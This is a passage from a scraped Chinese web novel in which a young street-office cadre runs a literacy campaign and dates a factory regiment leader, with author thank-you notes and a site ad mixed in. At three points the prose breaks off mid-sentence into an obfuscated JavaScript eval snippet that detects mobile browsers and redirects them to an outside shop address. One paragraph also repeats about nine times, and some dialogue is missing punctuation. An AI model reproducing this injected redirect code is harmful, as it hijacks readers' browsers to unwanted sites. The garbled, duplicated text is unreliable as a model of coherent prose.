叶满枝拿着工作证和工资,喜滋滋地返回自己的办公位。 正准备把工作证拿出来再欣赏一遍,突然感觉自己上方投来一片阴影。 “你是叶满枝同志吧?我是新来的赵二贺! 叶满枝抬头望去, 首先在心里嚯了一声,这位新同志咋这么高呀? 不仅高,他还壮! 叶满枝的工位在门口,赵二贺往那一站,把大门挡得严严实实的。 因着跟彩霞姐关系好,她对这位带帽下来的赵二贺,感受比较复杂。 就像昨天刘金宝说的,他们四个虽然都是关系户,但好歹是经历过两个月历练考验的。 而赵二贺什么考察也没有,还只有高小学历,直接带着编制过来,确实让人替陈彩霞惋惜。 但对方主动来示好了,她是必须礼貌回应的。 “赵二贺同志,欢迎你!”叶满枝站起身与他握手,结果发现自己的身高只到人家的胸口,她忍不住抬头问,“赵二贺,你咋这么高啊?以前是运动员吗?” “嗯,我以前是市体队的。”赵二贺咧嘴一笑,黑黝黝的脸上露出一口大白牙。 “你这体格都能去隔壁派出所上班了!” 难怪刘金宝不高兴。 原来街道办只有张勤简一个男的,配合派出所夜间巡逻,全靠他一个。 后来刘金宝来了,能跟张勤简轮换着值班,让他在张勤简那里刷了不少好感。 只凭能值夜班这一点,张勤简也会把他保下来。 如今又来一个高大壮硕的赵二贺,刘金宝再也不是张副主任唯一的“小金宝”了。 嘻嘻…… 两人寒暄过后,穆主任召集街道办的所有人员开会。 “今天全员到齐了,咱们开会讨论一下接下来的工作安排。” “随着光明街居民的增加,咱们街道办的规模也日益扩大,区里考虑到街道工作琐碎繁重,又给咱们光明街增加了两个编制。” “咱们单位目前是八个人,再像从前那样分配工作就不合适了。根据之前的经验,还是每一项工作尽量安排两个负责人,其中一个同志有事请假的时候,另一个人能随时顶上去。” 虽说是讨论会,但工作要如何安排,穆兰早就有了打算。 此时根本不需要跟人讨论,直接就宣布了每个人的分工。 叶满枝的工作分工,与之前有了小小的不同。 从前是民政,宣传。 现在是民政,教育,家庭手工业。 宣传工作 分给了刚来的赵二贺。 其他人的工作也差不多比如刘金宝在从前的基础上增加了治安保卫工作与他瞧不上的赵二贺分到了一起。 穆兰将工作分工调整好以后宣布散会然后把叶满枝单独喊了过去。 “教育工作之前是由老张分管的家庭手工业是魏珍分管的可是这两项工作在之前都没得到太高的重视总是有一搭没一搭顺带的。” “我这次虽然接手了这两项工作但街道工作千头万绪有些地方未必顾得到小叶你在这两项工作上多上上心尤其是教育工作咱们街道的文盲、半文盲、以及闲散人员太多了。按照市里的指示明年之前所有街道要彻底消除文盲咱们在这方面还是要积极动脑筋想办法的。” 穆兰找了一些资料给她“这些你先拿回去看看我准备在咱们街道开设一间扫盲学校把文盲全都组织到一起上课这件事你帮我一起筹备一下。” 叶满枝接过文件袋沉吟着说:“主任扫盲学校的规模是不是要与学员人数挂钩呀?现在能确定咱们街道有多少文盲吗?” “在册的有一千多人但我感觉数量还远不止这些。”穆兰头疼道“这几年各单位都开过扫盲班但学员当时认了几个字长时间不用以后又返盲了。算了返盲那些先不管了先把在册的这些文盲消除吧。” 叶满枝拿着文件回去翻看。 其实街道负责的教育工作只有居民扫盲和业余教育两部分。 小学中学的教育不用他们操心。 叶满枝觉得开办一间学校不是最难的难的是如何动员那些文盲去学校上课。 从之前的婚姻法宣传月就能看得出大多数居民不愿意坐进教室学习。 而扫盲班是正经学习文化知识的课堂在娱乐性上还不如婚姻法课堂呢。 万事开头难一千多人的扫盲工作不好做但她可以先动员筹备一个几十人的课堂。 以点带面做出点成绩再说其他。 她在心里琢磨着打算先写一个有关扫盲教育的工作计划 这是她跟庄婷学的。 老带新的时候穆主任带着庄婷人家庄婷做每一项工作之前都给穆主任提交工作计划。 这就给人一种她做了很多工作的错觉。 其实大家的工作量都差不多。 * 午饭时间叶满枝又是回家吃的。 常月娥做了酸菜炖粉条切了一盘蓑衣黄瓜。 叶满枝跑回家往饭桌上一瞧就失望地说:“妈今天全是素的啊?” “有肉呀!”常月娥用勺子在酸菜炖粉条的碗底捞了一下捞出两片大肥肉来“先凑合吃吧月底没有肉票了切两片肥肉借借味儿就行。” 叶满枝洗了手坐到桌边嘟嘟囔囔:“这粉条是不是我三嫂床底下那些啊?不会被耗子嗑过吧?” “你怎么那么多事!有得吃就不错了!” 叶满枝嫌弃被耗子碰过的粉条那酸菜炖粉条她一口都没吃就着咸菜吃了半个馒头。 “妈你知道咱这院儿里哪些人家有文盲吗?” “那可多了去了上了年纪的人有好多文盲。年轻的也有”常月娥往客厅的木板床上指了指“你四嫂不也是文盲吗?她本来就不爱读书现在去学白案了就更不乐意念书了。” 常月娥是读过书的妇女尽管她现在不用出门工作但心里还是看不上那些没文化还死犟着不读书的人。 叶满枝跟她打听院儿里的文盲时隔壁刘家的小孙子跑来叶家敲门喊:“满枝小姨楼下有人找你!” “谁找我啊?”叶满枝弯腰在他头毛上摸了摸。 “一个阿姨。” 叶满枝以为是林青梅或是陈彩霞 她趴在窗边向外眺望没见到熟悉的人只好亲自下楼一趟。 跑到一楼时发现站在门口的居然是秦祥! 她不由笑道:“那孩子跟我说楼下有个阿姨找我我还以为是我同事呢!” “要是说有个叔叔找你那不是影响不好嘛!”秦祥补充一句“我们领导特意交代了注意影响。” 叶满枝不好意思跟他提吴峥嵘转移话题问:“你来我家有什么事啊?” 秦祥从他提着的布兜里拿出一只铝饭盒。 “今天厂里大师傅做了红烧肉吴团长让我替他打了一盒不过现在搞国庆献礼挺忙的他还在车间呢 中午暂时走不开,就让我送过来了。” 自从开始使用肉票以后,大家吃肉都比较克制。 荤腥成了蔬菜里的点缀。 食堂大师傅一个月才做这一次红烧肉,今天食堂里都抢疯了。 叶满枝瞅瞅面前的饭盒,怀疑地问:“这真是他让你送的?” 吴峥嵘不像会做这种事的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982414|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她直觉是小秦同志自作主张的。 “真的真的!他还给你带了字条呢!”秦祥可不敢冒领功劳,也不会随意向领导家属献殷勤。 以前是没办法,现在是没必要。 叶满枝接过那张纸条,边缘毛刺刺的,像是匆忙间从笔记本上撕下来的。 她将纸条展开,映入眼帘的只有遒劲有力的四个字“好好吃饭。” 字如其人。 这笔字跟吴峥嵘的契合度非常高。 叶满枝的视线在那四个字上反复徘徊,红着脸将字条折好收了起来,尽量若无其实地问:“他吃了吗?” 秦祥当然不会像某些毛头小子似的故意打趣,问人家“他是谁啊”。 他严肃地点点头:“已经吃过了,这一盒都是给你带的,你放心吃吧。” 到底吃没吃他也不清楚,他今天只负责抢这一盒红烧肉,把饭盒顺利送过来就算完成任务了。 叶满枝并没矫情地推辞,她让小秦稍等一会儿,然后端着饭盒快步上楼了。 先把红烧肉换到自家碗里,往干净的饭盒里装了几个水蜜桃和李子,又用罐头瓶子装了两瓶绿豆汤。 做完这些,她站在书桌前犹豫片刻,放弃了给吴峥嵘回信的想法。 要是能凤姨附体就好了。 自己这笔字还不太能拿得出手,以后要好好练字。 叶满枝把饭盒和绿豆汤交给秦祥,“天气太热了,绿豆汤你俩一人一罐,饭盒里的东西给他,这个桃子你路上吃吧。” 秦祥惊喜道:“还有我的啊?” “当然啦,辛苦你大热天还要跑一趟,以后别送了,”叶满枝违心地说,“我妈做饭也挺好吃的。” “嘿嘿,我都听领导的。” 叶满枝送他离开,再上楼时,常月娥正背着手打量那一大碗红烧肉。 “刚才谁来了?” “厂里的你不认识。”叶满枝夹了一块肉放进她嘴里“快吃吧这是我用绿豆汤和水果跟人家换的。” 常月娥哼道:“几个水果就能换这么多红烧肉?刚才来的那人男的女的?” “宏旺不是说了吗楼下有个阿姨找我!” 叶满枝在心里感慨小秦同志真机灵呀难怪能被吴峥嵘留下当通信员! * 吃了红烧肉让叶满枝浑身都是干劲儿。 接连几天一直动员大院儿里的文盲去扫盲班上课。 “小叶干部刘主任不是我不支持你们工作!关键是我学了写字也没啥用了这扫盲班在四五年前就开过 “学会了写字以后你可以自己给亲戚写信看报纸给孩子辅导作业马路上的标语啊广告牌啊都能看得懂这不比当睁眼瞎好吗?” “哈哈你看我们家里有报纸不?孩子上学有老师管不用我们操心。”刘翠荣往屋里一指“家里还有一摊活儿呢我哪有时间天天去念书呀!” 叶满枝说:“文盲可不是好听的词你就一辈子顶着文盲的头衔过日子啦?” “嗐日常过日子谁会问你是不是文盲啊!没事。” 叶满枝和居委会刘主任接连去了好几个文盲家里。 有人愿意去参加扫盲班但有那比较顽固的跟刘翠荣的想法差不多觉得当文盲不影响生活。 叶满枝觉得这样挨家挨户动员不是办法效率太低了。 她琢磨了两天后跑了一趟派出所。 “刘所咱们所最近是不是在街道内部搞人口普查?” “嗯这算是一项长期工作已经做了大半年了。” “咱们的户口册上不是有‘职业’和‘文化程度’嘛咱能不能再顺便搞个居民职业文化调查统计?” 刘所好笑道:“小叶你看我现在有人手干这种活吗?” “刘所我帮您把这项工作抓起来咋样?先在军工大院里搞个试点如果效果好咱们派出所再去其他居委会推广。” 有人愿意做白工刘所没有拒绝的道理。 “你们穆主任那里能同意吗?” “穆 主任向来支持派出所的工作,只要您点头了,我们立马开展工作!” 叶满枝从派出所这里拿到了尚方宝剑,当天就在军工大院里支了一张桌子。 号召大院儿居民来居委会,排队登记各自的职业和学历信息,尤其是那些文盲、半文盲,必须到场。 院儿里愿意来凑热闹的人还挺多,有些人就愿意围在旁边打听人家的职业学历。 叶满枝坐在桌子后面,登记一个名字,就高声通报一次。 “张莉,干部,初中文化。” 轮到下一个人时,又用更大的,能让在场所有人都听到的音量喊道:“杜彬,无业,文盲!” 作者有话要说 一百个红包,明天见~ 感谢在2024-07-2420:58:06~2024-07-2511:59:31期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:是HyunA1个; 感谢投出地雷的小天使:鹿泡泡、谦、Jelly、墨染槿涩1个; 感谢灌溉营养液的小天使:别低头瓜会掉120瓶;24660199115瓶;(⊙o⊙)……毛毛44瓶;森屿40瓶;丫丫39瓶;六水嘎30瓶;玻璃晴朗,橘子辉煌23瓶;四叶草ぃ兔22瓶;橙子、巡山白雾、梦醒不知、niconiconi、朝思暮念20瓶;小曦子酱19瓶;软软14瓶;晰沙飘渺13瓶;冰鱼鱼、陷景、蟹老板的螃蟹?、迪崽、suri、豆皮不卷、雅风、祈萱、52、lily@、洛洛华城、逐梦的游鱼、脆桃10瓶;是HyunA7瓶;蜜桃乌龙猹6瓶;22672002、肖战顺顺利利(^_^)v、泥鳅鱼娃娃、小龙女□□、悄悄是心上的肖肖、山有木兮越人歌、Lizi、一场春日宴、白兔糖、茜嘻、憨憨5瓶;白白攀攀、.泪海的盐、亦薅、琪琪宝宝3瓶;腱小宝、鸿雁南飞、哦?哦!、阳光、爱书人、橘蝉、星河白鹭、哄哄、呜咪、淙淙、安包包2瓶;筱雨、久笙、偶人为之、Yin、eijun、星空、总有刁民想害朕、等啊等、沅沅、宁静致远、北桥楠木、65841435、xiaoxiao、‘早起的虫儿、被鸟吃、你吃草莓吗、第10086个小号、遥远星空、xiaojiang、渔者愚者、流水向西、栗子?、打酱油的小丸子、七七、等加更~、……、拿铁加奶、一二三呀、Renhy、stella、tingt、天气变冷了、什么时候变成富婆、∞、江江江、花璨、明孞、纯爱战士、西开、涵涵妈、cat?le、馨冉、咿呀咿呀哟、48947898、57089820、54、茳芏、动物园园长、略略略、飞羽、团子的早晨、妮妮、桂花糖芋苗、木辛月、踩点王、喵小酱、胖蟹、乳酸菌、猫老板、D、bingmay、柠檬的柠的檬、492159951瓶; 非常感谢大家对我的支持,我会继续努力的! 第 31 章 防空警报(谈恋爱... 叶满枝在大院儿里统计学历信息时,扯出了派出所的大旗。 这让居民小组长们十分尽心,纷纷组织小组居民,来居委会排队登记。 同一组的居民也是同一层楼的邻居,各自的学历被喊破时,最先听到的就是这些熟人。 叶满枝在大院儿里统计学历信息时,扯出了派出所的大旗。 这让居民小组长们十分尽心,纷纷组织小组居民,来居委会排队登记。 同一组的居民也是同一层楼的邻居,各自的学历被喊破时,最先听到的就是这些熟人。 叶满枝在大院儿里统计学历信息时,扯出了派出所的大旗。 这让居民小组长们十分尽心,纷纷组织小组居民,来居委会排队登记。 同一组的居民也是同一层楼的邻居,各自的学历被喊破时,最先听到的就是这些熟人。 叶满枝在大院儿里统计学历信息时,扯出了派出所的大旗。 这让居民小组长们十分尽心,纷纷组织小组居民,来居委会排队登记。 同一组的居民也是同一层楼的邻居,各自的学历被喊破时,最先听到的就是这些熟人。 叶满枝在大院儿里统计学历信息时,扯出了派出所的大旗。 这让居民小组长们十分尽心,纷纷组织小组居民,来居委会排队登记。 同一组的居民也是同一层楼的邻居,各自的学历被喊破时,最先听到的就是这些熟人。 叶满枝在大院儿里统计学历信息时,扯出了派出所的大旗。 这让居民小组长们十分尽心,纷纷组织小组居民,来居委会排队登记。 同一组的居民也是同一层楼的邻居,各自的学历被喊破时,最先听到的就是这些熟人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982415|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶满枝在大院儿里统计学历信息时,扯出了派出所的大旗。 这让居民小组长们十分尽心,纷纷组织小组居民,来居委会排队登记。 同一组的居民也是同一层楼的邻居,各自的学历被喊破时,最先听到的就是这些熟人。 叶满枝在大院儿里统计学历信息时,扯出了派出所的大旗。 这让居民小组长们十分尽心,纷纷组织小组居民,来居委会排队登记。 同一组的居民也是同一层楼的邻居,各自的学历被喊破时,最先听到的就是这些熟人。 叶满枝在大院儿里统计学历信息时,扯出了派出所的大旗。 这让居民小组长们十分尽心,纷纷组织小组居民,来居委会排队登记。 同一组的居民也是同一层楼的邻居,各自的学历被喊破时,最先听到的就是这些熟人。 第 32 章 我算是你哪门子的... 傍晚时分,余晖横照,绿色的铛铛车缓缓驶入站台,车头的铜铃铛飞出一段叮叮当当的脆响。 叶满枝随着吴峥嵘走下铛铛车时,距离电影开场还有一个多钟头。 两人决定先去文化宫附近的国营饭店吃晚饭。 在柜台前点了两个菜,吴峥嵘微微侧身问:“要喝酒吗?” “我又不是酒鬼,怎么可能每顿饭都喝酒?”叶满枝很骄傲地说,“我现在只喝茅台了!” 吴峥嵘淡定颔首,对服务员说:“同志,加瓶茅台。” 服务员:“……” 你看我像茅台不? “……”叶满枝憋笑,“同志,他开玩笑呢,我们不喝酒!” 服务员的视线在两个年轻人脸上打个转,指向柜台后面的木桶,“有鲜啤,下午刚送来的,来两杯不?” 吴峥嵘征求女同志的意见,“能喝点吗?” 叶满枝想尝尝,但她刚说过不可能每顿饭都喝酒,现在点头岂不是自打嘴巴? 她的心思全写在脸上,吴峥嵘已经单方面达成了心有灵犀,对服务员说:“您受累给我们打两杯吧。” 端着冒沫儿的啤酒找到座位,他问:“之前喝过啤酒吗?” “没有。我以前没什么机会喝酒,大人喝的时候,我偶尔能跟着尝一尝,不过我爸习惯喝烧酒。” 叶满枝抿了一口鲜啤,味道有点苦,沁凉的口感在喉咙中流转,让她忍不住想要夸夸他:“上次的白葡萄酒和这次的鲜啤,都是沾了你的光才有机会尝鲜的!” 闻言,吴峥嵘弯起唇角说:“来芽嘴还挺甜的。” 叶满枝目光染上几分赧意,“你干嘛突然喊我小名啊?” “我现在不想喊别的。”吴峥嵘笑望向对面,“喊名字之前还需要打个报告吗?” 叶满枝被他逗笑,黑白分明的眸子闪闪熠熠,非常漂亮。 “那你喊吧,这次就先不用打报告了。” 她给自己夹了块肘花,笑眯眯道:“吴团长,跟我说说拥军优属的事呗。” “难得出来约会一次,就别谈工作了吧?” “明明是你自己先提的!” “那只是把你约出来的伎俩。关于拥军优属的问题,你回去问你们单位的凤朝 阳同志,这方面的工作,一直是她跟军代室联系的。 “凤姨负责拥军优属工作?叶满枝面露疑惑,“我们单位老带新的时候就是她带的我,两个月的时间,我从没听说她还负责这方面的工作啊! “确实是由她负责的,八一的时候我们一起组织过活动。吴峥嵘笑道,“看来你跟这个师傅的关系很一般。 “哎,准确地说,是她跟我关系一般,凤姨情感上比较内敛冷淡,不过我感觉她人还挺好的,叶满枝小声透露,“我们街道办投票的时候,我得了两票,其中一票就是凤姨投的。 吴峥嵘放下筷子,沉吟一阵说:“她跟军代室联系的时候,也比较冷淡,但她本身就是烈属,在拥军优抚工作上有她的优势,你有什么问题,还是多跟她沟通吧。 叶满枝怔怔地问:“凤姨是烈属啊? “嗯,你自己知道就行,不要外传,也没必要为此对她另眼相待。只看她的名字,就看得出她是个很骄傲的人,不需要别人的同情。 叶满枝好奇地望向他:“从名字怎么看出凤姨骄傲的呀? “鹏北海,凤朝阳。又携书剑路茫茫。吴峥嵘理所当然道,“几十年前能给女儿取名‘凤朝阳’的人家,多半是书香门第。这种家庭培养出来的孩子,多多少少会有些恃才傲物。哪怕她现在上了年纪,骨子里的东西也不是轻易能改变的。 凤姨的书画水平在全市范围内都很拿得出手,十有八九真的如他所说出身教养良好。 叶满枝心想,这话是不是也能套用在他自己身上啊? 峥嵘,峥嵘,取这样的名字,肯定也是寄托了长辈很多期许的。 同样出身书香门第,同样很有才华,看来峥嵘同志的内心也是恃才傲物的。 叶满枝单手撑着下巴注视他,心念一动,突然说:“你好厉害啊!我跟凤姨共事这么久,从没想过把她的名字跟诗词联系到一起。 被吹捧的吴团长,并不如常人那般谦虚或受用。 他平静而审慎地在她脸上端量片刻,眼里现出些洞察秋毫的清明,蓦地笑道:“我跟凤朝阳也许出身近似,但我们脾气秉性不同。你不用,嗯,不用刻意恭维我…… 叶满枝笑出声来,发自内心地感叹:“你 可真聪明!” 他以后的孩子肯定也很聪明…… 叶满枝没能打听到拥军优属的具体情况但还是高高兴兴地去看了电影《蜻蜓姑娘》。 因着打出了苏联爱情片的旗号而且还是这年头难得一见的彩色影片。 文化宫门前的景象堪称盛况空前一些没能买到票的小年轻甚至愿意出高价购票。 《蜻蜓姑娘》讲的是发生在格鲁吉亚农庄里的故事。女主角玛丽诺从小被祖母娇宠疏于管教导致她不爱劳动懒怠学习每天除了唱歌就是跳舞一刻也不得消停被大家起了个“蜻蜓姑娘”的外号。 而农场里有一个与玛丽诺同名同姓的采茶姑娘因为积极参与劳动被授予了“社会主义劳动英雄”的称号。 叶满枝觉得与其说它是一部爱情片不如说是喜剧教育片。 玛丽诺在沉迷爱情考学失利后因为共青团的帮助和鼓励开始勤加锻炼积极劳动。从此蜕变成了一名优秀的家禽饲养员还因此登上了《火星》杂志…… 再也不是从前那个只知道唱唱跳跳的蜻蜓姑娘了! 若不是确定吴峥嵘不可能知晓她以前的事迹叶满枝都要怀疑对方请她看这场电影是想趁机教育她了! 她咋觉得自己跟玛丽诺那么像呢! 走出文化宫回家的路上叶满枝忍不住试探道:“你觉不觉得我跟玛丽诺有点像?” “你指哪方面?” 叶满枝当然不能揭了自己的短说她以前同样不爱劳动、不爱上学、经常臭美还沉迷文娱活动至今没有特别明显的改进。 她按捺下心思改口说:“就是我俩唱歌都挺好听的呗!” 吴峥嵘如实道:“我还没听过你唱歌。” 于是叶满枝在马路上就即兴哼了一段电影里的插曲。 “五月美妙五月好~五月叫我心欢畅~蔚蓝天空白云飘~五月鲜花处处香~阿巴代里代里代里代拉~阿巴代里代里代里代拉~阿巴代里代里代里代里代拉拉~~~~”[1] 电影里的插曲是专业歌唱家配唱的带着很明显的美声特色。 而叶满枝的嗓音是未经雕琢的有着少女特有的清越婉转。 吴峥嵘配合地鼓掌捧场笑望向她 的目光炙热明亮。 “好听,来芽同志不想在街道当干部的话,还可以转行去歌舞团工作。 叶满枝心知他是恭维自己,普通人的歌唱水平当然比不得专业的,但她还是雀跃地说:“那当然了,我从小就是小百灵! “噗—— 吴峥嵘还没表示什么,走在他们身后的两个青年反而先笑出声来。 陌生人的嘲笑,让叶满枝瞬间面红耳赤,回头狠狠瞪了那俩人一眼。 其中一个胖子连忙解释:“同志,不好意思啊,你唱歌挺好听的,我们没别的意思! 叶满枝无言以对,拉着吴峥嵘在最近的一个路口转弯了。 “你笑什么啊?叶满枝狐疑地看向身侧。 这样骄纵又无措的样子,让人忍不住想要亲吻她。 但地点不对。 吴峥嵘曲起食指,用指节在她下巴上勾了一下,“没笑什么,你不是小百灵么,自信点吧! * 两人搭乘最后一班铛铛车返回军工大院时,院儿里已经没什么居民了。 叶满枝以为不会有人注意到他们,放任吴峥嵘将她送到了楼道口。 然而,她次日下班回家时,却因此被迟东升拦了下来。 “叶满枝,你是不是谈对象了?迟东升食指上转着一串钥匙,吊儿郎当地问,“昨晚送你回来那男的是谁啊? “你看错了吧,我昨晚一直在家来着。叶满枝撒谎从来不打草稿。 迟东升是四哥的狐朋狗友之一,也是大院儿有名的无业游民。 整天没啥正事,到处乱窜。 “呵,我这眼睛可是1.0的!不可能看错!迟东升表情贱兮兮地说,“行啊你,叶满枝儿,这么快就找到对象啦! “你少给我造谣啊!小心我告诉迟叔! 她跟吴峥嵘不是什么见不得人的关系,她不怕被人知道。 但是,一旦被家里人知晓她在跟吴峥嵘来往,小事也会变成大事。 光是她大伯大伯母那边,就很让人烦心。 大伯想让孙子进厂工作,为此不惜背着她找去了周家,造谣她想跟周牧复合。 万一被他们知道了吴峥嵘的存在,保不齐又会凑上去套近乎。 他俩连个正式关系都没有凭什么让吴峥嵘帮她家亲戚办事啊? “你看错了”叶满枝板着脸说“再说我谈不谈对象跟你有啥关系啊?你跟着凑什么热闹!” “嘿你这丫头!我之前不是跟你说过嘛你要找对象就找我!” 叶满枝以前是副厂长家的儿媳妇大院里这些小子有贼心没贼胆。 现在两家退了婚情况可就不一样了贼胆也是可以有的。 否则她每次来院儿里做动员的时候咋会有那么多小子往前凑! “想跟我谈对象的人能绕着厂区排一圈我还能全都答应啊?”叶满枝翻个白眼说“你快醒醒吧!再敢给我造谣就让我四哥揍你!” 院儿里这些无业游民顶多占占嘴上便宜她从来都不当真。 见他还想堵着自己的去路叶满枝往楼上瞅了瞅冲着二楼的一个窗户喊道:“迟叔!迟叔!你家迟东升要抢我的钱不给钱就不让我回家!” “……”迟东升被她气笑了“咱俩谁造谣啊?谁抢你钱了?行行行你赶紧走吧真是惹不起你!” 叶满枝剐他一眼就走了不过她也没打算轻易放过迟东升。 吃了晚饭以后她就去了一趟迟家。 两家是一栋楼里的她下个楼梯就到了。 “呦小叶来了快进来坐!”迟叔迟婶热情招呼。 叶家这闺女如今是街道干部正管着他们这一片儿大家还是愿意跟她打好关系的。 叶满枝在椅子上坐下给迟东升告了一状。 “叔婶我今天是来当恶人的想跟你们说说迟东升的事。本来我家有个叶满桂 “我四哥好歹是结了婚的有媳妇管着。迟东升没结婚今天敢拦我的路明天是不是还能拦别的女同志?那在咱们院儿里的影响多不好啊!对他本人不好对你家的名声也不好!” 迟叔一拍桌子问:“这畜生真敢劫道了?” “不算是劫道就是拦了我的路”叶满枝摆摆手说“这都不是重点我也不是为了让你们教训迟东升的。” 迟家夫 妻俩迷糊了,不让我们教训儿子,你来告什么状啊? “咱们院儿里有一批无业青年,没犯法,但到处惹事,现在很让保卫处和派出所头疼。您家迟东升还有我四哥,都是这些人里头的。” 提起自家那个臭小子,迟叔也有点脸红,好在还有叶老四比照着,也不算太丢人。 叶满枝继续道:“不过,我四哥是高小毕业,迟东升是初中毕业,两人都算是有文化的。我最近想帮四哥安排个活,想着迟东升跟他关系好,就来您家问问,用不用帮迟东升也安排一下。” 迟婶连忙说:“要是能让他有个活儿干,那真是再好不过了。” 她家这个小儿子,向来不服管教,心思野,初中毕业后家里给他在制钉厂找了个坐办公室的工作。 结果他嫌单位离家太远,把好好的编制卖了一百块钱。 拿着钱跟他那些狐朋狗友吃吃喝喝了。 现在整天就在院儿里瞎晃荡。 叶满枝笑着说:“不算什么特别好的工作,但隐形福利挺好的。您也知道,咱们街道办正在筹办扫盲班。想要请一些有文化的居民去扫盲班当老师。” “啊,我家东子能给人当老师吗?” “只是教人识字而已,有啥不能的!再说我们会对老师进行培训,使用统一的教材,只要他内心愿意为大家服务,就没有办不成的事!” 叶满枝坦言道:“叔婶,给扫盲班当老师算是半义务劳动,暂时还不确定能发多少工资。到时候会在扫盲班结业时,一次性给老师结付辛苦费。但是,给扫盲班上课,算是支持街道工作,老师们从此就是街道积极分子了。” 迟婶问:“小叶,当这个街道积极分子,有什么好处啊?” “如果街道办有其他单位的工作名额,肯定会优先推荐街道积极分子去上班的。” “而且当了街道积极分子,就有资格参与居民小组长的竞选。当了居民小组长,就有机会成为居委会委员。只有居委会委员,才能竞选居委会主任。居委会在咱们大院儿里的地位,咱都清楚,威信高、说话管用。” “甭管我四哥和迟东升,是否愿意进居委会为居民们服务,当了扫盲班老师,能得到大家的认可和尊重。尤其是迟东升,有了积极上进的名声,说亲娶媳 妇也更容易…… 不用她继续劝,迟叔直接拍板,“小叶,这事我替东子做主了,就让他去扫盲班当老师! 反正那小子现在也不赚钱,与其让他在大院儿里惹事,还不如去扫盲班待着。 而且叶老四也要一起去上课,小叶总不会坑她亲哥。 叶满枝提议:“要不还是跟迟东升本人说一说吧,扫盲班要开好几个月,老师不能中途撂挑子的! “这事我就能做主,绑也要把他绑去! 迟叔大包大揽地打包票。 东子对叶家这姑娘有点意思,告诉他这是小叶推荐的工作,他总会掂量掂量的。 在迟家得了准话,四哥那边由老叶出面,叶满枝又依葫芦画瓢,另外找了三户人家上门作动员。 她当然不可能全都找刺头当老师,还是要找几个有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038371|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文化还有意向往居委会发展的官儿迷。 当她将扫盲班教师的名单交给穆主任时,穆兰都被惊了一下子。 “这几个人真的不要工资啊? “嘿嘿,工资肯定要发的,不过不用按月发,我跟他们说好了,等扫盲班课程结束以后,统一发放!这就能给咱们余富出来几个月的时间寻找资金了! 穆兰一拍手说:“小叶,以后就这样做工作!多动脑筋!我下午还想往区教育局跑一趟呢,这两天教育局的领导被我烦得要命,看来咱都可以缓一缓了。 叶满枝其实还想跟她说一说小学生入学的问题。 来扫盲班报名上课的,还有二十多个学龄儿童。 街道没有其他小学,这些孩子上学也是很麻烦的事。 不过,今天是周六,以防还要周末加班,她打算等到周一再提这件事。 * 拿到正式编制以后,叶满枝心里彻底放松了下来。 她决定让周末变回它该有的样子。 所以,这周接到排练通知的时候,叶满枝没再请假,穿戴整齐后,提着琴盒去国风音乐会排练了。 他们的音乐会里有高中老师,也有小学教导主任,她想顺便跟人家请教一下办学经验。 她走到工人俱乐部门口时,吴峥嵘也骑着自行车从厂区的方向赶了过来。 “厂里要是有事,你就别来了。 眼瞅着快要国庆献礼了,厂里自主研发生产的第一辆卡车即将下生产线,最近正是吴峥嵘最忙的时候。 “先陪你呆会儿,我也趁机休息休息,下午还要去趟省军区,可能要两三天才能回来。吴峥嵘的目光在她身上流转,第一次过问了她的衣着,“今天怎么打扮成这样? “我来排练和演出的时候一直这样打扮。 说的域名qiexs①(请来企鹅小 说 看最新章节 完整章节) 叶满枝穿了件粉色印花的旗袍,但她平时顶多扎一条麻花辫,今天却特意让四嫂给她梳了一个双麻花辫盘发。 四嫂化妆手艺不咋样,梳头还是可以的,这个发型就是她跟郑东妹学的。 叶满枝还是第一次梳这种盘发,忐忑又期待地问:“我这样打扮好不好看? 吴峥嵘不会在这种事上拐弯抹角,一贯地直抒胸臆。 “好看,以后多穿。 叶满枝抿嘴乐,带着他进了排练的音乐厅。 两人来得不算早,舞台上已经有好几个成员在调试乐器了。 叶满枝两个月没来排练,会长见了她,特意走下台来打了招呼。 “小叶,你怎么这么久不来演出?我以为你要退会了呢! “没有没有,我不是去街道办工作了嘛,前段时间单位活动太多了,我暂时抽不出时间来。 李会长向她确认:“那以后能保证出勤率了吧?咱们这里演奏琵琶的总共才两个人,你总不来可不行! 叶满枝笑着保证以后一定会尽量出席。 “嗯,李会长将目光放到她旁边的高大男人身上,“这位是? 叶满枝既然敢带着吴峥嵘在音乐会露面,自然是已经想好了说辞的。 “这是我哥哥。 吴峥嵘:“…… “哦哦哦,李会长主动伸手打招呼,“小叶的哥哥是吧?以前总见小叶的五哥,倒是第一次见你过来。你们家人真是一个比一个精神! 小叶家的哥哥可真够多的,之前就来过两三个。 三哥和五哥算是长得俊的,没想到新来的这个哥哥更俊。 